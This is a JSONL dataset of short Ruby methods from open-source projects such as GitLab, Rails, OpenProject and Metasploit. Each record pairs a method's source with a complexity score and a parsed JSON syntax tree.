{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sidebars_helper.rb","start_line":22,"raw_source":"def your_work_sidebar_context(user, **args)\n    context_data = your_work_context_data(user)\n\n    Sidebars::Context.new(**context_data, **args)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"your_work_sidebar_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context_data\",{\"type\":\"send\",\"children\":[null,\"your_work_context_data\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidebars\"]},\"Context\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context_data\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"b32d7d93-c475-4bb3-ae78-f8359006a2bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/config.rb","start_line":19,"raw_source":"def to_h\n        if merge_ee?\n          deep_merge(@hash, @ee_hash)\n        else\n          @hash\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_ee?\"]},{\"type\":\"send\",\"children\":[null,\"deep_merge\",{\"type\":\"ivar\",\"children\":[\"@hash\"]},{\"type\":\"ivar\",\"children\":[\"@ee_hash\"]}]},{\"type\":\"ivar\",\"children\":[\"@hash\"]}]}]}","id":"93159644-5b2c-4b5a-b18e-f8fef78ed259"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/exports/pdf_export/table_of_content.rb","start_line":160,"raw_source":"def write_toc_item_subject(toc_item, indent, subject_style)\n      pdf.indent(indent, toc_item[:page_nr_string_width]) do\n        pdf.formatted_text([subject_style.merge({ text: toc_item[:title] })])\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write_toc_item_subject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"toc_item\"]},{\"type\":\"arg\",\"children\":[\"indent\"]},{\"type\":\"arg\",\"children\":[\"subject_style\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"indent\",{\"type\":\"lvar\",\"children\":[\"indent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toc_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page_nr_string_width\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"formatted_text\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_style\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toc_item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}]}]}]}]}","id":"91cbc9fb-8ca9-405c-aedd-6767b7515f4f"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/lib/spree/service_module_spec.rb","start_line":144,"raw_source":"def call(params: {})\n        run :first_method\n        run :second_method\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"first_method\"]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"second_method\"]}]}]}]}","id":"4e07d356-5ecc-46a0-849a-e49da85a56f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/resync_has_vulnerabilities.rb","start_line":17,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          project_ids = sub_batch.pluck(:project_id)\n          bulk_update!(update_values_sql(project_ids))\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"bulk_update!\",{\"type\":\"send\",\"children\":[null,\"update_values_sql\",{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]}]}]}]}]}","id":"b617df20-ba72-4430-a181-b87e91eed673"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/open_project/reporting/cost_entry_xls_table.rb","start_line":16,"raw_source":"def setup_query_for_tab(query, unit_id)\n    @query = CostQuery.deserialize(query)\n    @cost_type = nil\n    @unit_id = unit_id\n\n    if @unit_id != 0\n      @query.filter :cost_type_id, operator: \"=\", value: @unit_id.to_s\n      @cost_type = CostType.find(unit_id) if unit_id.positive?\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_query_for_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"unit_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostQuery\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cost_type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@unit_id\",{\"type\":\"lvar\",\"children\":[\"unit_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unit_id\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"filter\",{\"type\":\"sym\",\"children\":[\"cost_type_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unit_id\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unit_id\"]},\"positive?\"]},{\"type\":\"ivasgn\",\"children\":[\"@cost_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CostType\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"unit_id\"]}]}]},null]}]},null]}]}]}","id":"b4cbef9a-b8fd-4a0e-9c5c-651571851b93"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/base_manager/refresher.rb","start_line":237,"raw_source":"def full_refresh_threshold\n        @full_refresh_threshold ||= options.full_refresh_threshold || 10\n      end","complexity_score":4.68,"ast_json":"{\"type\":\"def\",\"children\":[\"full_refresh_threshold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@full_refresh_threshold\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"full_refresh_threshold\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}","id":"184df7ec-722c-485f-a2fe-df0dae12ace6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/render_partial_with_record_identification_test.rb","start_line":21,"raw_source":"def render_with_has_many_association\n    @topic = Topic.find(1)\n    render partial: @topic.replies\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_with_has_many_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"replies\"]}]}]}]}]}]}","id":"e0980a1d-eccb-4655-9a54-d674de7ab543"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/structured_event_subscriber_test.rb","start_line":86,"raw_source":"def test_enqueue_job_with_arguments\n      assert_event_reported(\"active_job.enqueued\", payload: {\n        job_class: TestJob.name,\n        queue: \"default\",\n        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),\n        arguments: [\"test_arg\"]\n      }) do\n        TestJob.perform_later(\"test_arg\")\n      end\n    end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enqueue_job_with_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"active_job.enqueued\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestJob\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"adapter_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"Base\"]},\"queue_adapter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test_arg\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"test_arg\"]}]}]}]}","id":"aa791d3e-5e3f-489f-9710-e7ff7ae847a3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/webhook_setup_service.rb","start_line":6,"raw_source":"def perform\n    if channel.messaging_service_sid?\n      update_messaging_service\n    else\n      update_phone_number\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"messaging_service_sid?\"]},{\"type\":\"send\",\"children\":[null,\"update_messaging_service\"]},{\"type\":\"send\",\"children\":[null,\"update_phone_number\"]}]}]}","id":"f8489df3-0972-4acb-8572-7b16de4cc33a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/bulk_imports/transform_references_worker.rb","start_line":148,"raw_source":"def context\n      @context ||= BulkImports::Pipeline::Context.new(tracker)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Pipeline\"]},\"Context\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"tracker\"]}]}]}]}","id":"a09c7bb8-1a32-4191-a35a-fbad8ce03cb8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/build_manager.rb","start_line":118,"raw_source":"def wait_for_build_processing_to_be_complete(return_when_build_appears = false)\n      platform = fetch_app_platform\n      if config[:ipa] && platform != \"osx\" && !config[:distribute_only]\n        app_version = FastlaneCore::IpaFileAnalyser.fetch_app_version(config[:ipa])\n        app_build = FastlaneCore::IpaFileAnalyser.fetch_app_build(config[:ipa])\n      elsif config[:pkg] && !config[:distribute_only]\n        app_version = FastlaneCore::PkgFileAnalyser.fetch_app_version(config[:pkg])\n        app_build = FastlaneCore::PkgFileAnalyser.fetch_app_build(config[:pkg])\n      else\n        app_version = config[:app_version]\n        app_build = config[:build_number]\n      end\n\n      latest_build = FastlaneCore::BuildWatcher.wait_for_build_processing_to_be_complete(\n        app_id: app.id,\n        platform: platform,\n        app_version: app_version,\n        build_version: app_build,\n        poll_interval: config[:wait_processing_interval],\n        timeout_duration: config[:wait_processing_timeout_duration],\n        return_when_build_appears: return_when_build_appears,\n        return_spaceship_testflight_build: false,\n        select_latest: config[:distribute_only],\n        wait_for_build_beta_detail_processing: true\n      )\n\n      unless latest_build.app_version == app_version && latest_build.version == app_build\n        UI.important(\"Uploaded app #{app_version} - #{app_build}, but received build #{latest_build.app_version} - #{latest_build.version}.\")\n      end\n\n      return latest_build\n    end","complexity_score":76.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_build_processing_to_be_complete\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"return_when_build_appears\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"platform\",{\"type\":\"send\",\"children\":[null,\"fetch_app_platform\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipa\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"!=\",{\"type\":\"str\",\"children\":[\"osx\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"distribute_only\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"IpaFileAnalyser\"]},\"fetch_app_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipa\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app_build\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"IpaFileAnalyser\"]},\"fetch_app_build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipa\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pkg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"distribute_only\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PkgFileAnalyser\"]},\"fetch_app_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pkg\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app_build\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PkgFileAnalyser\"]},\"fetch_app_build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pkg\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app_build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build_number\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"latest_build\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"BuildWatcher\"]},\"wait_for_build_processing_to_be_complete\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_version\"]},{\"type\":\"lvar\",\"children\":[\"app_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build_version\"]},{\"type\":\"lvar\",\"children\":[\"app_build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"poll_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"wait_processing_interval\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout_duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"wait_processing_timeout_duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_when_build_appears\"]},{\"type\":\"lvar\",\"children\":[\"return_when_build_appears\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_spaceship_testflight_build\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"select_latest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"distribute_only\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_for_build_beta_detail_processing\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latest_build\"]},\"app_version\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"app_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latest_build\"]},\"version\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"app_build\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploaded app \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_version\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_build\"]}]},{\"type\":\"str\",\"children\":[\", but received build \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latest_build\"]},\"app_version\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latest_build\"]},\"version\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"latest_build\"]}]}]}]}","id":"1e6a263e-995e-47e4-af7b-ad09ce7afcb2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/sessions_controller.rb","start_line":215,"raw_source":"def find_user\n    strong_memoize(:find_user) do\n      if session[:otp_user_id] && user_params[:login]\n        User.by_login(user_params[:login]).find_by_id(session[:otp_user_id])\n      elsif session[:otp_user_id]\n        User.find(session[:otp_user_id])\n      elsif user_params[:login]\n        User.find_by_login(user_params[:login])\n      end\n    end\n  end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"find_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp_user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"by_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login\"]}]}]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp_user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp_user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp_user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login\"]}]}]},null]}]}]}]}]}","id":"78cd3a6d-4281-473a-a84b-99255e6351bb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/custom_styles_controller.rb","start_line":175,"raw_source":"def update_themes\n    call = ::Design::UpdateDesignService\n       .new(theme_from_params)\n       .call\n\n    call.on_success do\n      flash[:notice] = I18n.t(:notice_successful_update)\n    end\n\n    call.on_failure do\n      flash[:error] = call.message\n    end\n\n    redirect_to custom_style_path\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_themes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Design\"]},\"UpdateDesignService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"theme_from_params\"]}]},\"call\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"custom_style_path\"]}]}]}]}","id":"39bdcbaf-6360-4fed-bb17-95664b6aa61d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_workspace.rb","start_line":26,"raw_source":"def self.display_name(number = 1)\n    n_('Automation Workspace', 'Automation Workspaces', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Automation Workspace\"]},{\"type\":\"str\",\"children\":[\"Automation Workspaces\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"4ded883f-0660-4d86-b144-d16be9185c24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/call_data.rb","start_line":80,"raw_source":"def decode_uid(io)\n            uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)\n\n            uid\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_uid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"Model\"]},\"UniqueIdentifier\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"lvar\",\"children\":[\"uid\"]}]}]}","id":"afd3fcfe-e6bb-4464-9346-9dd0ffae64df"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/invalid_request_response.rb","start_line":29,"raw_source":"def description\n        I18n.translate(\n          reason,\n          scope: %i[doorkeeper errors messages invalid_request],\n          default: :unknown,\n          value: @missing_param,\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"translate\",{\"type\":\"send\",\"children\":[null,\"reason\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"doorkeeper\"]},{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"sym\",\"children\":[\"invalid_request\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"ivar\",\"children\":[\"@missing_param\"]}]}]}]}]}","id":"7828d66a-f15b-4a3b-8185-78484bb2f097"}
